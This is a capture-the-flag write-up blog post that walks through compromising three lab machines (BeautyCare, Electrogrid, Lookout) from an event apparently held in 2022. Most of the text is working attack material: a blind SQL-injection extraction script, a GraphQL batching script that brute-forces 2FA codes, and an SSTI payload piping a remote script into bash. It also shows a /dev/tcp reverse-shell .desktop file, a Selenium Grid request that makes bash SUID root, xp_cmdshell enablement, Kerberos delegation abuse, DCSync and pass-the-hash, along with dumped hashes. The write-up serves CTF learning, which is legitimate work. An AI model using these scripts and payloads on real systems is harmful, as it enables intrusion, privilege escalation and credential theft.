- Published on
STACK The Flags 2022 Open – Fullpwn
- Authors
- Name
- ElleuchX1
- Description
- Yeah exactly, the HTB guy
BeautyCare (Fullpwn, 2000 Points)
Enumeration
We started with a simple nmap
scan with the basic options:
hcue@pjsk:~ » nmap -sC -sV -v 10.129.228.37
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
The output shows that ports 22 (SSH) and 80 (HTTP) are open on the target IP address. The SSH service is running OpenSSH version 8.2p1 on Ubuntu Linux. The HTTP service is running nginx version 1.18.0 on Ubuntu Linux.
Checking the Webserver running on port 80. We saw nothing interesting, pretty much everything is static and there is no leakage of a subdoamin/domain in the sources.
Since there is no domain until now, we can proceed to fuzz for hidden directories with gobuster.
hcue@pjsk:~ » gobuster dir -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://10.129.228.37
===============================================================
Gobuster v3.2.0-dev
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.228.37
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.2.0-dev
[+] Timeout: 10s
===============================================================
2022/12/05 02:50:25 Starting gobuster in directory enumeration mode
===============================================================
/admin (Status: 200) [Size: 863]
And we discovered that there is a hidden /admin
endpoint which is a simple admin login page.
I tried to login with some dummy/default credentials. But that didn’t help.
Checking Burp HTTP history for the requests:
{
"query":{\n LoginUser{username: \"admin\",password : \"admin\"}{\n message,\n token \n}\n}"
}
GraphQL is a popular query language for APIs that allows clients to query and mutate data on a server. This mutation queries a LoginUser
function with the provided username and password. The function is expected to return a message and a token if the login is successful.
mutation {
LoginUser(username: "admin", password: "admin"){
message
token
}
}
The first thing I tried was introspection, which allows clients to inspect the schema of a GraphQL server to understand the data and operations that are available. But it didn’t lead to anything.
Exploitation
Then, I’ve tried to add bad characters in the username field. Adding a single quote results in an interesting error:
{
"query":{\n LoginUser{username: \"admin'\",password : \"admin\"}{\n message,\n token \n}\n}"
}
It seems like the username field is vulnerable to an SQL injection. Since GraphQL is somehow interacting with the SQL database, We’ll not be able to bypass the login with it.
For the sake of this part, I’ll be using a time-based blind SQL injection attack to extract information from a GraphQL server. The code sends a series of HTTP requests to the server, each containing a slightly different GraphQL query, and measures the time taken for the server to respond to each request. By comparing the response times of different requests, the code is able to determine which requests were successful in extracting information from the server. If the response time is greater than 2 seconds, the code assumes that the query was successful in extracting information from the server, and the character that was used in the query is appended to the res
string.In this case, I just guessed the table name and columns and I got a delay.
import requests
import time
import os
#printable="a0123456789bcdefghijklmnopqrstuvwxyz"
printable="0123456789abcdefABCDEFGHIJKLMNOPQRSTUVWXYZ"
res=""
while True:
for char in printable:
time.sleep(0.6)
session = requests.session()
burp0_url = "http://10.129.255.194:80/graphql"
burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36", "Content-Type": "application/json", "Accept": "*/*", "Origin": "http://10.129.255.194", "Referer": "http://10.129.255.194/admin", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
burp0_json={"query": "mutation {\n LoginUser(username: \"-12' or (select sleep(2) from dual where (SELECT username from users ) like '"+res+char+"%')-- \", password: \"a\"){\n message,\n token \n}\n}"}
#print(burp0_json)
start = time.perf_counter()
session.post(burp0_url, headers=burp0_headers, json=burp0_json)
request_time = time.perf_counter() - start
#print("[Char: ]"+char+" "+str(request_time))
if request_time > 2:
res+=char
print("result: "+res)
break
We run the script and we’re able to retrieve the username!
hcue@pjsk:/tmp » python3 sql.py
result: J
result: Jo
result: Joh
result: John
Just for the sake of the length of the writeup, we can use similar script to retrieve the MD5 of John user and crack it with Crackstation to get iamcool
.
Logging in with user John:iamcool
Works and we’re greeted with 2FA.
I tried to provide a random OTP to check the request and it’s a graphql query as well:
{
"query":{\n verify2FA{otp: \"1234\"}{\n message,\n token \n}\n}"
}
This GraphQL mutation queries a verify2FA
function with the provided one-time password (OTP). The function is expected to return a message and a token if the OTP is valid.
The first thing I tried was to bruteforce but there is a ratelimit implemented which makes it quite impossible as the the OTP expires after 2 minutes.
Since we’re not able to bruteforce it, I tried using GraphQL Batching, which improves performance by reducing the number of round trips between the client and the server. However, if not properly implemented, it can also create vulnerabilities that can be exploited. In our case, we will send a batch request containing a mix of legitimate and malicious queries. The server processes the legitimate queries and returns the results to us. In simpler words, we will be attempting to exploit a vulnerability in a GraphQL server that allows batching of multiple queries in a single request.
We will create a function that generates a GraphQL mutation containing multiple verify2FA
queries with different one-time password (OTP) values and constructs a GraphQL mutation containing these queries and returns it. This is needed because we won’t be able to send all the OTP values at once.
def gen_payload(i):
final=""
for token in ["%04d" % I for I in range(i,i+500)]:
single ='\n jaja'+token+' : verify2FA(otp: \"'+token+'\"){\n message,\n token }\n '
final+=single
payload = 'mutation {\n '+final+' \n}'
return payload
Then we just keep bruteforcing until we get a hit and get the new token.
import requests
while True:
session = requests.session()
burp0_url = "http://10.129.255.194:80/graphql"
burp0_cookies = {"session": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImpvaG4iLCJvdHBfdmVyaWZpY2F0aW9uIjpmYWxzZSwiaWF0IjoxNjcwMDIwMDYyLCJleHAiOjE2NzAwMjM2NjJ9.r624Ftvgxhuo7rNPeI1JeJpQzVTXON6cNpN0EAmABiE"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36", "Content-Type": "application/json", "Accept": "*/*", "Origin": "http://10.129.255.194", "Referer": "http://10.129.255.194/admin/otp_verfification", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
burp0_json={"query": gen_payload(i)}
rar = session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, json=burp0_json)
print(rar.text)
if ("token" in rar.text):
print("hurray: ",i)
break
i+=500
And we just run the script until we get a hit:
Now we can use the new token to access the dashboard:
In the /admin/setting
endpoint. We have a way to render a template!
So the first thing that comes in mind now is we find an SSTI. Knowing from the Response Headers
that we’re dealing with an Express nodejs server. I just tried a bunch of payloads {{7*7}} ${7*7} #{7*7}
And the #{7*7}
works.
This means that we’re dealing with a pug ssti
. I’ll be using the following payload where I am hosting a bash reverse shell in my local webserver and piping into bash.
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.57 | bash')}()}
And I get a shell as john and grab the flag:
hcue@pjsk:/tmp » rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.57] from (UNKNOWN) [10.129.228.37] 44176
can't access tty; job control turned off
$ id
$ cd ~
$ cat user.txt
STF22{g410f27d35f21325f47d83c375dedf32}
Privilege Escalation
First, I will stabilize my shell:
$ python3 -c "import pty;pty.spawn('/bin/bash')"
john@bautycare:~$
[1] + 583791 suspended rlwrap nc -lvnp 443
hcue@pjsk:/tmp » stty raw -echo;fg
[1] + 583791 continued rlwrap nc -lvnp 443
john@beautycare:~$
john@beautycare:~$ export TERM=xterm
export TERM=xterm
john@beautycare:~$
Then, I’ll check if we have any sudo rights:
john@beautycare:~$ sudo -l
Matching Defaults entries for john on beautycare:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User john may run the following commands on beautycare:
(root) NOPASSWD: /usr/bin/ansible-playbook
john@beautycare:~$
I just searched this binary in gtfobins and grabbed:
TF=$(mktemp)
echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF
sudo /usr/bin/ansible-playbook $TF
TF=$(mktemp)
echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF
TF=$(mktemp)
john@beautycare:~$ sudo /usr/bin/ansible-playbook $TF
echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF
john@beautycare:~$ sudo /usr/bin/ansible-playbook $TF
[WARNING]: provided hosts list is empty, only localhost is available. Note that
the implicit localhost does not match 'all'
PLAY [localhost] **************************************************************
TASK [Gathering Facts] *********************************************************
ok: [localhost]
TASK [shell] *******************************************************************
# id
id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
cat /root/root.txt
STF22{3f62f62107c411482f5bc8caff1843e2}
And that’s it \o/
Electrogrid (Fullpwn, 2000 Points)
Enumeration
We started with a simple nmap
scan with the basic options:
hcue@pjsk:/tmp » nmap -sC -sV 10.129.228.64 -v
9000/tcp open cslistener?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, Kerberos, LPDString, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie, X11Probe:
| HTTP/1.1 400 Bad Request
| Connection: close
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| Content-Type: application/json; charset=utf-8
| Content-Length: 32
| Date: Mon, 05 Dec 2022 09:45:20 GMT
| Connection: close
| {"message":"404 page not found"}
| GetRequest, HTTPOptions:
| HTTP/1.1 404 Not Found
| Content-Type: application/json; charset=utf-8
| Content-Length: 32
| Date: Mon, 05 Dec 2022 09:45:13 GMT
| Connection: close
| {"message":"404 page not found"}
| RTSPRequest:
| HTTP/1.1 404 Not Found
| Content-Type: application/json; charset=utf-8
| Content-Length: 32
| Date: Mon, 05 Dec 2022 09:45:14 GMT
| Connection: close
|_ {"message":"404 page not found"}
We just have port 9000 open in this case, which seems like an API. Nothing interesting here for now!
We are provided with UserLandCityPC-1.0.0.AppImage
. We can start by unpacking/unarchiving it using 7z
:
hcue@pjsk:/tmp/userland » 7z x UserLandCityPC-1.0.0.AppImage
<SNIP>
Archives with Warnings: 1
Warnings: 1
Folders: 19
Files: 89
Size: 243843126
Compressed: 95369065
hcue@pjsk:/tmp/userland » ls
AppRun chrome_crashpad_handler libEGL.so libvk_swiftshader.so LICENSES.chromium.html resources.pak UserLandCityPC-1.0.0.AppImage usr
chrome_100_percent.pak chrome-sandbox libffmpeg.so libvulkan.so.1 locales snapshot_blob.bin userlandcitypc.desktop v8_context_snapshot.bin
chrome_200_percent.pak icudtl.dat libGLESv2.so LICENSE.electron.txt resources userlandcitypc userlandcitypc.png vk_swiftshader_icd.json
Checking the resources
folder we can find an asar
file:
hcue@pjsk:/tmp/userland » cd resources
hcue@pjsk:/tmp/userland/resources » ls
app.asar
An asar
file is a package file used by the Electron framework to store application code and other assets. So at this point, we’ll know that we’ll be dealing with an electron application.
I’ll use the following command to extract its content:
npx asar extract app.asar extract
hcue@pjsk:/tmp/userland/resources » cd extract
hcue@pjsk:/tmp/userland/resources/extract » ls -la
total 40
drwxr-xr-x 5 hcue hcue 4096 Dec 5 04:58 .
drwx------ 3 hcue hcue 4096 Dec 5 04:58 ..
-rwxr-xr-x 1 hcue hcue 713 Dec 5 04:58 index.html
-rwxr-xr-x 1 hcue hcue 1488 Dec 5 04:58 index.js
drwxr-xr-x 20 hcue hcue 4096 Dec 5 04:58 node_modules
-rwxr-xr-x 1 hcue hcue 377 Dec 5 04:58 package.json
-rwxr-xr-x 1 hcue hcue 783 Dec 5 04:58 preload.js
drwxr-xr-x 3 hcue hcue 4096 Dec 5 04:58 src
drwxr-xr-x 2 hcue hcue 4096 Dec 5 04:58 static
-rwxr-xr-x 1 hcue hcue 1029 Dec 5 04:58 webpack.common.js
Checking the index.js
file, we can notice an interesting function that is being called:
ipcMain.on('handle-links', (event, task, url) => {
if (task === 'download') {
const downloadPath = '/opt/userland/'
const filename = url.split('/').pop()
const filepath = `${downloadPath}${filename}`
fs.access(filepath, fs.F_OK, async (err) => {
if (err) {
await download(BrowserWindow.getFocusedWindow(), url, { directory: downloadPath })
win.webContents.send('file-downloaded', `File Imported at: ${downloadPath}${filename}`)
return
}
win.webContents.send('file-downloaded', `File Already Exists At: ${downloadPath}${filename}`)
})
} else {
shell.openExternal(url)
}
})
The code listens for an handle-links
event on the ipcMain
module, which is used to communicate between the main process and renderer processes in Electron. When the handle-links
event is received, the code checks the value of the task
argument to determine the desired action. If the task
argument is download
, the code extracts the filename from the url
. And here comes the interesting part, where urls are passed to the shell.openExternal
function which allows this application to open a URL in the web browser. Researching about this function we see that it can allow us to execute arbitrary code on the user’s system. Another possibility is that if we have control over the filename
variable, we will eventually have file overwrite while traversing the directory.
We’ll get back to this later, once we understand how this application works.
In the src/js
folder, we have app.js
which seems to be packed. Without cleaning it, we can notice that’s it talking with an API where it takes the URL from config.json
which seems missing from the source.
_config_json__WEBPACK_IMPORTED_MODULE_1__.BACKEND_URL
/* harmony import */ var _config_json__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(
/*! ./config.json */ './src/js/config.json'
)
Since we knew/assumed that we have an API running on port 9000, BACKEND_URL
should be http://10.129.228.64:9000
. Reading much further, we can see an API call to /api/login
where we find credentials for the developer
user.
fetch(''.concat(_config_json__WEBPACK_IMPORTED_MODULE_1__.BACKEND_URL, '/api/login'), {
method: 'POST',
headers: {
Accept: 'application/json',
'Content-Type': 'application/json',
},
body: JSON.stringify({
username: 'developer',
password: '5up3rd3vl0per!!',
}),
})
.then((res) => res.json())
.then((data) => {
if (data.status === 200) {
localStorage.setItem('token', data.token)
localStorage.setItem('username', data.username)
setLoading(false)
}
})
I tried using the API that we have to confirm that it’s talking with it. And it works!
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 207
Date: Sat, 03 Dec 2022 09:15:30 GMT
Connection: close
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImRldmVsb3BlciIsImlhdCI6MTY3MDA1ODkzMCwiZXhwIjoxNjcwMDgwNTMwfQ.TCk_Ixejig808W5BainV05u5hmFlE65U0knzjvSIdwI","status":200,"username":"developer"}
We can see multiple endpoints including /api/chats/allChats
fetch("".concat(_config_json__WEBPACK_IMPORTED_MODULE_1__.BACKEND_URL, "/api/chats/allChats"), {
method: 'GET',
headers: {
token: localStorage.getItem('token')
}
}).then(data => {
return data.json();
}).then(chats => {
setallMessages(chats);
});
}, []);
I tried fetching it using the token I retrieved from the login.
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 1812
Date: Sat, 03 Dec 2022 09:20:29 GMT
Connection: close
[{"id":1,"sender":"admin","receiver":"developer","message":"Hey!","timestamp":"2022-12-03 08:42:27","lastMessage":"false","type":"message"},{"id":2,"sender":"developer","receiver":"admin","message":"Hey!!","timestamp":"2022-12-03 08:42:27","lastMessage":"false","type":"message"},{"id":3,"sender":"developer","receiver":"admin","message":"You are using the admin account on the server itself right?","timestamp":"2022-12-03 08:42:27","lastMessage":"false","type":"message"},{"id":4,"sender":"admin","receiver":"developer","message":"Yes","timestamp":"2022-12-03 08:42:27","lastMessage":"false","type":"message"},{"id":5,"sender":"developer","receiver":"admin","message":"Well thats good make sure to use the admin account on the server.","timestamp":"2022-12-03 08:42:27","lastMessage":"false","type":"message"},{"id":6,"sender":"admin","receiver":"developer","message":"Yes I know you did explained me why I should use it only on server.","timestamp":"2022-12-03 08:42:27","lastMessage":"false","type":"message"},{"id":7,"sender":"developer","receiver":"admin","message":"Nice.","timestamp":"2022-12-03 08:42:27","lastMessage":"false","type":"message"},{"id":8,"sender":"admin","receiver":"developer","message":"The service checkup script that you created is not working anymore with the selenium grid after the update. We create a temporary workaround for that but can you please come and fix the script?","timestamp":"2022-12-03 08:42:27","lastMessage":"false","type":"message"},{"id":9,"sender":"developer","receiver":"admin","message":"Yeah Sure","timestamp":"2022-12-03 08:42:27","lastMessage":"true","type":"message"},{"id":10,"sender":"tbug","receiver":"developer","message":"Why userland city market place is not working for me?","timestamp":"2022-12-03 08:42:27","lastMessage":"true","type":"message"}]
The only interesting message was this:
The service checkup script that you created is not working anymore with the Selenium grid after the update. We create a temporary workaround for that but can you please come and fix the script?
For the time being, this may be irrelevant until we check the other endpoints.
fetch("".concat(_config_json__WEBPACK_IMPORTED_MODULE_1__.BACKEND_URL, "/api/chats/").concat(currentChat, "/add"), {
method: 'POST',
headers: {
'Accept': 'application/json',
'Content-Type': 'application/json',
'token': localStorage.getItem('token')
},
var uploadFile = e => {
var formData = new FormData();
formData.append('uploadedFile', e.target.files[0]);
fetch("".concat(_config_json__WEBPACK_IMPORTED_MODULE_1__.BACKEND_URL, "/api/").concat(currentChat, "/upload"), {
method: 'POST',
headers: {
'token': localStorage.getItem('token')
},
body: formData
}).
And now we have a way to interact with users by sending them files and messages!
Now, let’s get back to the message that we got earlier, where the users were talking about a Selenium script. Selenium allows you to write test scripts or bots that interact with a web application in a similar way to how a user would interact with the application. We can assume now that we will have to trick the bot into downloading our files or interacting with our messages!
Here’s an example on how we can use both /add
and /upload
API to download/add files/messages:
POST /api/chats/admin/add HTTP/1.1
Host: 10.129.255.120:9000
Cache-Control: max-age=0
token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImRldmVsb3BlciIsImlhdCI6MTY3MDA2MjEwMywiZXhwIjoxNjcwMDgzNzAzfQ.G1M-pWAsNnKSFxSoljbBd_lwZVGurgn9_IApQppnGgs
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 62
{"message":"<script>document.location="http://10.10.10.10/jaja"</script>"}
POST /api/admin/upload HTTP/1.1
Host: 10.129.255.120:9000
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: close
Cache-Control: max-age=0
token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImRldmVsb3BlciIsImlhdCI6MTY3MDA2MjEwMywiZXhwIjoxNjcwMDgzNzAzfQ.G1M-pWAsNnKSFxSoljbBd_lwZVGurgn9_IApQppnGgs
Upgrade-Insecure-Requests: 1
Accept-Language: en-US,en;q=0.9
Content-Length: 247
Content-Type: multipart/form-data; boundary=02427ffc75ddf91f43eb19151c610654
--02427ffc75ddf91f43eb19151c610654
Content-Disposition: form-data; name="uploadedFile"; filename="testfile"
pwned
--02427ffc75ddf91f43eb19151c610654--
BONUS PART - Running GUI app
This part is not needed to continue exploitation or understand the exploit path.
So, if we try to open the GUI application. It will keep hanging and that’s because it wasn’t able to reach the API as the config.json
file which includes the BACKEND_URL
variable is missing. Here we have two options:
- Create the
config.json
file with the properBACKEND_URL
, which is the instance ip - The lazy way (Which I used XD) is to change all the
_config_json__WEBPACK_IMPORTED_MODULE_1__.BACKEND_URL
to the ip instance.
Another thing to change is the CSP in the index.html
. We can either change 127.0.0.1
to the machine ip or (as you probably already guessed as I am lazy) just remove the whole CSP:
Then we can run the app:
hcue@pjsk:~/htb/medimelecro/resources » electron extract
We can also see also the previous conversation that we extracted from the web API:
Exploitation
To wrap everything we found until now:
- Usage of shell.openExternal(url) which can lead to XSS -> RCE
- We can send messages to the admin user
- We can upload messages to the admin user
- Messages mentioning the usage of Selenium scripts
The only exploitation path we can see is we assume that there is a bot that’s either downloading the files or clicking the urls (or maybe both?).
To achieve RCE, we will trick the bot into opening our malicious .desktop
file which will contain our reverse shell:
[Desktop Entry]
Exec=bash -c "bash -i >& /dev/tcp/10.10.14.57/443 0>&1"
Type=Application
We will trick the user to open our link, which will be passed to shell.openExternal
:
<a className="an" open href="LINK">test</a>
At this point, we don’t know whether the bot will download the script or not. We can try both approachs.
- The easy way is just to host the file in a localwebserver.
<a className="an" open href="http://ip:port/pwn.desktop">test</a>
- The other way is to hope that downloads the file.
Spoilers: the bot also downloads the file u.u
We know from the source that it gets downloaded in /opt/userland
and we retrieve the random file name with two ways as well.
- Downloading the file locally using the gui, we need to create a writeable /opt/userland in our local system)
- Using the Web API to upload the file and the filename will be in the response
In this case our payload will be:
<a className="an" open href="file:///opt/userland/5b208f3cb06c3d4a44afa8c948f9aa35.desktop">test</a>
Once we make sure the payload is hosted/downloaded we can send the HTML payload and wait until we get a shell.
And we get a shell back!
Privilege Escalation
The first thing I’ve checked is the running processes as root
. In this case, I’ve found a Selenium server running as root locally.
root 623 1 0 14:12 ? 00:00:00 /usr/sbin/cron -f -P
root 638 623 0 14:12 ? 00:00:00 \_ /usr/sbin/CRON -f -P
root 641 638 0 14:12 ? 00:00:00 \_ /bin/sh -c java -jar /root/selenium-server-4.4.0.jar standalone --host 127.0.0.1
root 643 641 0 14:12 ? 00:00:31 \_ java -jar /root/selenium-server-4.4.0.jar standalone --host 127.0.0.1
The idea behind exploiting Selenium is to create a session that executes code. In simpler words, we can achieve RCE through geckodriver.
First I’ll forward the port 4444
running locally on the machine to my local machine using chisel
. I’ll run a chisel server on my machine:
hcue@pjsk:~/htb-trustable » chisel server -p 8888 --reverse
2022/12/05 06:10:10 server: Reverse tunnelling enabled
2022/12/05 06:10:10 server: Fingerprint H7MAdhulXPbLGvJaJWk7UmAzd8e/4NPB4rlR4eDaklQ=
2022/12/05 06:10:10 server: Listening on http://0.0.0.0:8888
Download chisel to the remote machine and I’ll forward the port:
john@electrogrid:/dev/shm$ wget 10.10.14.57/chisel
john@electrogrid:/dev/shm$ chmod +x ./chisel
john@electrogrid:/dev/shm$ ./chisel client 10.10.14.57./chisel client 10.10.14.57:8888 R:4444:127.0.0.1:4444 &
./chisel client 10.10.14.57:8888 R:4444:127.0.0.1:4444 &
And we’ll get a connection.
2022/12/05 06:11:47 server: session#1: tun: proxy#R:4444=>4444: Listening
Now we can access the Selenium Grid from our machine.
And now I’ll create the malicious session where it will set the suid
bit to the /bin/bash
binary.
POST /wd/hub/session HTTP/1.1
Host: localhost:4444
User-Agent: python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json;charset=utf-8
Content-Length: 276
{
"capabilities": {
"alwaysMatch": {
"browserName": "chrome",
"goog:chromeOptions": {
"binary": "/usr/bin/python3",
"args": ["-cimport os;os.system('chmod u+s /bin/bash')"]
}
}
}
}
After making the request, we can see in the UI that our request is in queue.
Once it disappears from the queue, it means it’s finished.
We can go back to the remote machine and check.
john@electrogrid:/dev/shm$ ls -la /bin/bash ls -la /bin/bash
ls -la /bin/bash
-rwsr-xr-x 1 root root 1396520 Jan 6 2022 /bin/bash
And it worked!
john@electrogrid:/dev/shm$ /bin/bash -p /bin/bash -p
/bin/bash -p
id
uid=1000(john) gid=1000(john) euid=0(root) groups=1000(john)
cat /root/root.txt
STF22{bbe7145febbce7ddd4dd3e22a37e93d1}
And thats it for this one!
Lookout (Fullpwn, 2000 Points)
Note: This will be a short writeup as I used two unintended ways to get system on the machine.
Enumeration
I’ll start with an nmap
scan with the usual options:
Discovered open port 80/tcp on 10.129.254.249
Discovered open port 135/tcp on 10.129.254.249
Discovered open port 445/tcp on 10.129.254.249
Discovered open port 139/tcp on 10.129.254.249
Discovered open port 53/tcp on 10.129.254.249
Discovered open port 3269/tcp on 10.129.254.249
Discovered open port 389/tcp on 10.129.254.249
Discovered open port 88/tcp on 10.129.254.249
Discovered open port 636/tcp on 10.129.254.249
Discovered open port 3268/tcp on 10.129.254.249
Discovered open port 593/tcp on 10.129.254.249
Discovered open port 464/tcp on 10.129.254.249
For the sake of the writeup, I’ll jump straight to the webserver on port 80, where we have a way to execute some commands such as ping
, traceroute
, and nslookup
.
This page is not vulnerable to anything, so I’ll just ping my box for now:
We can check in the Past Scans
that our scan was created!
We can notice that we delete the scan with the X under action. I’ll intercept that request using burp to play a bit with it:
After a few tries, I noticed it was vulnerable to an SQLi:
Exploitation
The first thing I’ve tried was to enable xp_cmdshell
and use it get code execution:
EXEC sp_configure 'show advanced options', 1
RECONFIGURE-- -
EXEC sp_configure 'xp_cmdshell', '1'
RECONFIGURE
Then we can use EXEC xp_cmdshell '<COMMAND>'
.
And we get a shell as the nt service:
Nothing that we can directly get a shell with sqlmap
Privilege Escalation
Since we have a shell as service account. we can get system directly with two ways.
First Way
The Service accounts are vulnerable to TGT delegation attacks using Rubeus because the service account is often configured with high privileges on the local system, such as the ability to create and modify user accounts and other system resources.
The idea is to get valid TGT (Ticket-Granting Ticket) for the service account, to perform a DCSync attack and then PSExec into the machine as administrator.
First I’ll upload Rubeus to the remove machine.
PS C:\Windows\System32\spool\drivers\color> wget 10.10.14.57/Rubeus.exe -o r.exe
Then I’ll use it to generate a TGT for the service account.
PS C:\Windows\System32\spool\drivers\color> .\r.exe tgtdeleg /nowrap
.\r.exe tgtdeleg /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: Request Fake Delegation TGT (current user)
[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/LOOKOUT-DC.LOOKOUT.local'
[+] Kerberos GSS-API initialization success!
[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: CYLfo1W5+vf4ZTDXhdsbhxx6n45eG6ONzEKGryITLUg=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):
doIF3jCCBdqgA<SNIIIIIIIIIP>AWoAMCAQGFM
I’ll save to my local machine and convert the ticket with TicketConverter
from impacket
.
hcue@pjsk:/tmp/wr » cat ticket| base64 -d > ticket.kirbi
hcue@pjsk:/tmp/wr » impacket-ticketConverter ticket.kirbi ticket.ccache
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] converting kirbi to ccache...
[+] done
Then I’ll export it to my env variables.
hcue@pjsk:/tmp/wr » export KRB5CCNAME=/tmp/wr/ticket.ccache
One last thing, we need to synchronize our local time to the server, otherwise it won’t work.
sudo ntpdate 10.129.254.249
Now to perform a DCSync on the target, we can use impacket’s secretsdump.py
script to extract all the hashes from the domain controller. We need to specify kerberos authentication and no password for this operation.
hcue@pjsk:/tmp/wr » impacket-secretsdump LOOKOUT-DC.LOOKOUT.local -dc-ip 10.129.254.249 -no-pass -k
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:cb313353c5eaceb1aae589b1644737bb:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ab92b60e75818bbb70ca754897aa1e37:::
LOOKOUT.local\lhuman:1104:aad3b435b51404eeaad3b435b51404ee:de9ca94a6f5ea9113d3370476e42a9cb:::
LOOKOUT.local\fhuman:1105:aad3b435b51404eeaad3b435b51404ee:1501f896cae1fd4f0bf6b9593e81dea3:::
LOOKOUT.local\shuman:1106:aad3b435b51404eeaad3b435b51404ee:f4c0320c516b4eeae0533e930beee3c3:::
LOOKOUT-DC$:1001:aad3b435b51404eeaad3b435b51404ee:440f42cdda7c8d86dedc9655e8c003d0:::
<SNIP>
Now with the administrator hash we can psexec
into the machine:
hcue@pjsk:/tmp/wr » impacket-psexec Administrator@10.129.254.249 -hashes :cb313353c5eaceb1aae589b1644737bb 1 ↵
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Requesting shares on 10.129.254.249.....
[*] Found writable share ADMIN$
[*] Uploading file HeqMQBmt.exe
[*] Opening SVCManager on 10.129.254.249.....
[*] Creating service bqIM on 10.129.254.249.....
[*] Starting service bqIM.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.3650]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
And then we grab both flags :D!
Second Way
PS C:\Windows\system32> whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
We have SeImpersonatePrivilege
Enabled. Since this is a Windows Server 2019, most of the known Potatos will not work. But likely, there is new potato that could exploit SEimpersonatePrivilege
using EfsRpc
.
We compile it with Visual Studio and upload it to the remote machine:
